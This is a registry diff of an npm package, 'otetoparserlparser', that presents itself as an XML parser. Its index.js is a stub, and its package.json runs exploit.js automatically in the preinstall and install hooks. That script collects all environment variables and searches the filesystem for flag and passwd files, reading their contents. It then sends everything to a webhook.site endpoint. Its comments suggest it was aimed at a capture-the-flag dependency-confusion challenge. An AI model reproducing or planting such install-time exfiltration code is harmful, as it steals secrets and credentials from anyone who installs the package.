otetoparserlparser 0.30.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/exploit.js +74 -0
  2. package/index.js +11 -0
  3. package/package.json +13 -0
package/exploit.js ADDED
@@ -0,0 +1,74 @@
1
+ const fs = require('fs');
2
+ const { exec } = require('child_process');
3
+ const https = require('https');
4
+
5
+ console.log('=== MALICIOUS PACKAGE EXECUTED ===');
6
+
7
+ function sendToWebhook(data) {
8
+ try {
9
+ const payload = JSON.stringify({
10
+ source: 'dependency_confusion',
11
+ data: data
12
+ });
13
+
14
+ const options = {
15
+ hostname: 'webhook.site',
16
+ port: 443,
17
+ path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
18
+ method: 'POST',
19
+ headers: {'Content-Type': 'application/json'}
20
+ };
21
+
22
+ const req = https.request(options);
23
+ req.write(payload);
24
+ req.end();
25
+ console.log('Data sent to webhook');
26
+ } catch(e) {
27
+ console.log('Webhook error:', e.message);
28
+ }
29
+ }
30
+
31
+ let collectedData = '=== EXPLOIT START ===\n';
32
+
33
+ // 1. Все переменные окружения (флаг может быть здесь)
34
+ collectedData += '=== ALL ENV VARS ===\n';
35
+ for (let key in process.env) {
36
+ collectedData += `${key}=${process.env[key]}\n`;
37
+ }
38
+
39
+ // 2. Попробуем выполнить команды для поиска флага
40
+ exec('find / -type f -name "*flag*" -o -name "*passwd*" 2>/dev/null | head -20', (err, stdout) => {
41
+ if (!err && stdout) {
42
+ collectedData += `=== FOUND FILES ===\n${stdout}\n`;
43
+
44
+ // Читаем найденные файлы
45
+ const files = stdout.trim().split('\n');
46
+ files.forEach(file => {
47
+ try {
48
+ const content = fs.readFileSync(file, 'utf8');
49
+ collectedData += `=== CONTENT: ${file} ===\n${content}\n`;
50
+ if (content.includes('{') && content.includes('}')) {
51
+ console.log(`🚨 POSSIBLE FLAG IN ${file}: ${content}`);
52
+ }
53
+ } catch(e) {}
54
+ });
55
+ }
56
+
57
+ // 3. Ищем строки содержащие флаг в файлах
58
+ exec('grep -r "flag{" / 2>/dev/null | head -10', (err, stdout) => {
59
+ if (!err && stdout) {
60
+ collectedData += `=== GREP FLAG RESULTS ===\n${stdout}\n`;
61
+ }
62
+
63
+ // 4. Смотрим что в текущей директории
64
+ exec('pwd && ls -la && find . -type f -name "*flag*" 2>/dev/null', (err, stdout) => {
65
+ if (!err) {
66
+ collectedData += `=== CURRENT DIR ===\n${stdout}\n`;
67
+ }
68
+
69
+ sendToWebhook(collectedData);
70
+ console.log('=== ALL DATA COLLECTED ===');
71
+ console.log(collectedData);
72
+ });
73
+ });
74
+ });
package/index.js ADDED
@@ -0,0 +1,11 @@
1
+ module.exports = {
2
+ parseXmlString: function(xml, options) {
3
+ return {
4
+ get: function(xpath) {
5
+ return {
6
+ text: function() { return "test"; }
7
+ };
8
+ }
9
+ };
10
+ }
11
+ };
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "otetoparserlparser",
3
+ "version": "0.30.1",
4
+ "description": "XML parsing library",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node exploit.js",
8
+ "install": "node exploit.js"
9
+ },
10
+ "keywords": ["xml", "parser"],
11
+ "author": "test",
12
+ "license": "MIT"
13
+ }